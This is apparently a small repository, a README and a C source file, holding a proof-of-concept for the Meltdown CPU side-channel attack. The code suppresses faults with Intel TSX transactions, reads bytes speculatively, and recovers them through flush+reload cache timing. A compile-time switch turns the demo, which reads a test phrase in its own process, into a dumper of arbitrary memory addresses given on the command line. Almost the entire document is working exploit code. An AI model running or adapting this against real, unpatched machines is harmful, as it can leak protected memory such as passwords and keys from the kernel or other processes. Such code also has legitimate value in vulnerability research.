[
  {
    "path": "README.md",
    "content": "# POC for meltdown/spectre\n\nI just wanted to see if this really works, and it actually does. Scary!\n\nIt reads out the `TEST_PHRASE` using the timing attack (in its own process).\n\n**Note:** This will only work on Intel \"Haswell\" and later, since it uses\nthe TSX extensions to mitigate the processor trap.\n\nAlternatively, by changing the macro `TEST_IN_OWN_PROCESS` to 0, you can\nspecify an address and length on the command line, and output raw data to pipe\ninto `strings`. In this case, it uses Intel's TSX to prevent crashing when\nattempting to access the mem location, just like the meltdown paper says.\n\nTested on OS X 10.12.6\n\nUpdate: OS X has a fix available now, so the PoC only works in its own process\nmemory anymore.\n"
  },
  {
    "path": "meltdown.c",
    "content": "// flush_reload from https://github.com/defuse/flush-reload-attacks\n// TSX from https://github.com/andikleen/tsx-tools\n// dump_hex from https://gist.github.com/ccbrown/9722406\n\n#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <errno.h>\n#include <string.h>\n\n#include <sys/mman.h>\n\n#define NUM_PROBES 5\n#define TEST_IN_OWN_PROCESS 1\n#define TEST_PHRASE \"Hmm, this does really work!\"\n\n// TSX support\n\n#ifndef _RTM_H\n#define _RTM_H 1\n\n/*\n * Copyright (c) 2012,2013 Intel Corporation\n * Author: Andi Kleen\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that: (1) source code distributions\n * retain the above copyright notice and this paragraph in its entirety, (2)\n * distributions including binary code include the above copyright notice and\n * this paragraph in its entirety in the documentation or other materials\n * provided with the distribution\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED\n * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n */\n\n/* Official RTM intrinsics interface matching gcc/icc, but works\n   on older gcc compatible compilers and binutils. */\n\n#define _XBEGIN_STARTED\t\t(~0u)\n#define _XABORT_EXPLICIT\t(1 << 0)\n#define _XABORT_RETRY\t\t(1 << 1)\n#define _XABORT_CONFLICT\t(1 << 2)\n#define _XABORT_CAPACITY\t(1 << 3)\n#define _XABORT_DEBUG\t\t(1 << 4)\n#define _XABORT_NESTED\t\t(1 << 5)\n#define _XABORT_CODE(x)\t\t(((x) >> 24) & 0xff)\n\n#define __rtm_force_inline __attribute__((__always_inline__)) inline\n\nstatic __rtm_force_inline int _xbegin(void)\n{\n\tint ret = _XBEGIN_STARTED;\n\tasm volatile(\".byte 0xc7,0xf8 ; .long 0\" : \"+a\" (ret) :: \"memory\");\n\treturn ret;\n}\n\nstatic __rtm_force_inline void _xend(void)\n{\n\t asm volatile(\".byte 0x0f,0x01,0xd5\" ::: \"memory\");\n}\n\n/* This is a macro because some compilers do not propagate the constant\n * through an inline with optimization disabled.\n */\n#define _xabort(status) \\\n\tasm volatile(\".byte 0xc6,0xf8,%P0\" :: \"i\" (status) : \"memory\")\n\nstatic __rtm_force_inline int _xtest(void)\n{\n\tunsigned char out;\n\tasm volatile(\".byte 0x0f,0x01,0xd6 ; setnz %0\" : \"=r\" (out) :: \"memory\");\n\treturn out;\n}\n\n#endif\n\n__attribute__((always_inline))\ninline void flush(const char *adrs)\n{\n  asm __volatile__ (\n     \"mfence         \\n\"\n     \"clflush 0(%0)  \\n\"\n     :\n     : \"r\" (adrs)\n     :\n  );\n}\n\n__attribute__((always_inline))\ninline unsigned long probe(const char *adrs)\n{\n  volatile unsigned long time;\n\n  asm __volatile__ (\n    \"mfence             \\n\"\n    \"lfence             \\n\"\n    \"rdtsc              \\n\"\n    \"lfence             \\n\"\n    \"movl %%eax, %%esi  \\n\"\n    \"movl (%1), %%eax   \\n\"\n    \"lfence             \\n\"\n    \"rdtsc              \\n\"\n    \"subl %%esi, %%eax  \\n\"\n    \"clflush 0(%1)      \\n\"\n    : \"=a\" (time)\n    : \"c\" (adrs)\n    :  \"%esi\", \"%edx\");\n\n  return time;\n}\n\nunsigned char probe_one(size_t ptr, char* buf, int page_size)\n{\n   const int num_probes = NUM_PROBES;\n   int c, i, status = 0, min_idx = 0, win_idx = 0;\n   unsigned long times[256];\n   unsigned char guessed_char = 0, tests[256];\n   unsigned long long t1 = 0;\n   volatile uint64_t val;\n   \n   memset(tests, 0, 256);\n   \n   for (c = 0; c < num_probes; c++) {\n      memset(times, 0, sizeof(unsigned long) * 256);\n      \n      for (i=0; i<256; i++) {\n         flush(&buf[i * page_size]);\n      }\n   \n      if ((status = _xbegin()) == _XBEGIN_STARTED) {\n         asm __volatile__ (\n           \"%=:                              \\n\"\n           \"xorq %%rax, %%rax                \\n\"\n           \"movb (%[ptr]), %%al              \\n\"\n           \"shlq $0xc, %%rax                 \\n\"\n           \"jz %=b                           \\n\"\n           \"movq (%[buf], %%rax, 1), %%rbx   \\n\"\n           : \n           :  [ptr] \"r\" (ptr), [buf] \"r\" (buf)\n           :  \"%rax\", \"%rbx\");\n      \n         _xend();\n      } else {\n         asm __volatile__ (\"mfence\\n\" :::);\n      }\n\n      for (i=0; i<256; i++) {\n         times[i] = probe(&buf[i * page_size]);\n      }\n   \n      for (i=0; i<256; i++) {\n         min_idx = (times[min_idx] > times[i]) ? i : min_idx;\n      }\n      \n      tests[min_idx]++;\n   }\n   \n   for (i=0; i<256; i++) {\n      win_idx = (tests[i] > tests[win_idx]) ? i : win_idx;\n   }\n   \n   return (unsigned char)win_idx;\n}\n\nvoid dump_hex(void* addr, const void* data, size_t size) {\n\tchar ascii[17];\n\tsize_t i, j;\n\tascii[16] = '\\0';\n   printf(\"0x%016lx | \", (unsigned long)addr);\n\tfor (i = 0; i < size; ++i) {\n\t\tprintf(\"%02X \", ((unsigned char*)data)[i]);\n\t\tif (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {\n\t\t\tascii[i % 16] = ((unsigned char*)data)[i];\n\t\t} else {\n\t\t\tascii[i % 16] = '.';\n\t\t}\n\t\tif ((i+1) % 8 == 0 || i+1 == size) {\n\t\t\tprintf(\" \");\n\t\t\tif ((i+1) % 16 == 0) {\n\t\t\t\tprintf(\"|  %s \\n\", ascii);\n\t\t\t} else if (i+1 == size) {\n\t\t\t\tascii[(i+1) % 16] = '\\0';\n\t\t\t\tif ((i+1) % 16 <= 8) {\n\t\t\t\t\tprintf(\" \");\n\t\t\t\t}\n\t\t\t\tfor (j = (i+1) % 16; j < 16; ++j) {\n\t\t\t\t\tprintf(\"   \");\n\t\t\t\t}\n\t\t\t\tprintf(\"|  %s \\n\", ascii);\n\t\t\t}\n\t\t}\n\t}\n}\n\nint main(int argc, char** argv)\n{\n   unsigned char read_buf[16];\n   int page_size = getpagesize(), raw_output = 0;\n   unsigned long start_addr = 0;\n   unsigned long t, len = 0;\n\n#if TEST_IN_OWN_PROCESS\n   static char* test = TEST_PHRASE;\n   \n   start_addr = (unsigned long)test;\n   len = strlen(test);\n#else\n   if (argc < 3 || argc > 4) {\n      printf(\"usage: %s [start_addr (hex)] [len (dec)] [raw, optional]\\n\",\n         argv[0]);\n      return 0;\n   }\n   \n   start_addr = strtoul(argv[1], NULL, 16);\n   len = strtoul(argv[2], NULL, 10);\n   \n   if (argc == 4) {\n      raw_output = 1;\n   }\n#endif\n   \n   char* poke = (char*)mmap(\n      NULL,\n      256 * page_size,\n      PROT_READ | PROT_WRITE,\n      MAP_ANON | MAP_SHARED,\n      -1,\n      0\n   );\n      \n   if (MAP_FAILED == poke) {\n      printf(\"mmap() failed: %s\\n\", strerror(errno));\n      return -1;\n   }\n      \n   printf (\"poke buffer: %p, page size: %i\\n\", poke, page_size);\n   \n   for (t=0; t<len; t++) {\n      if (!raw_output && t > 0 && 0 == t%16) {\n         dump_hex((void*)(start_addr + t - 16), read_buf, 16);\n      }\n      \n      read_buf[t%16] = probe_one(start_addr + t, poke, page_size);\n      \n      if (raw_output) {\n         write(STDOUT_FILENO, &read_buf[t%16], 1);\n      }\n   }\n   \n   if (!raw_output && t > 0) {\n      dump_hex((void*)(start_addr + ((t%16 ? t : (t-1))/16) * 16),\n         read_buf, t%16 ? t%16 : 16);\n   }\n      \n   munmap((void*)poke, 256 * page_size);\n}\n"
  }
]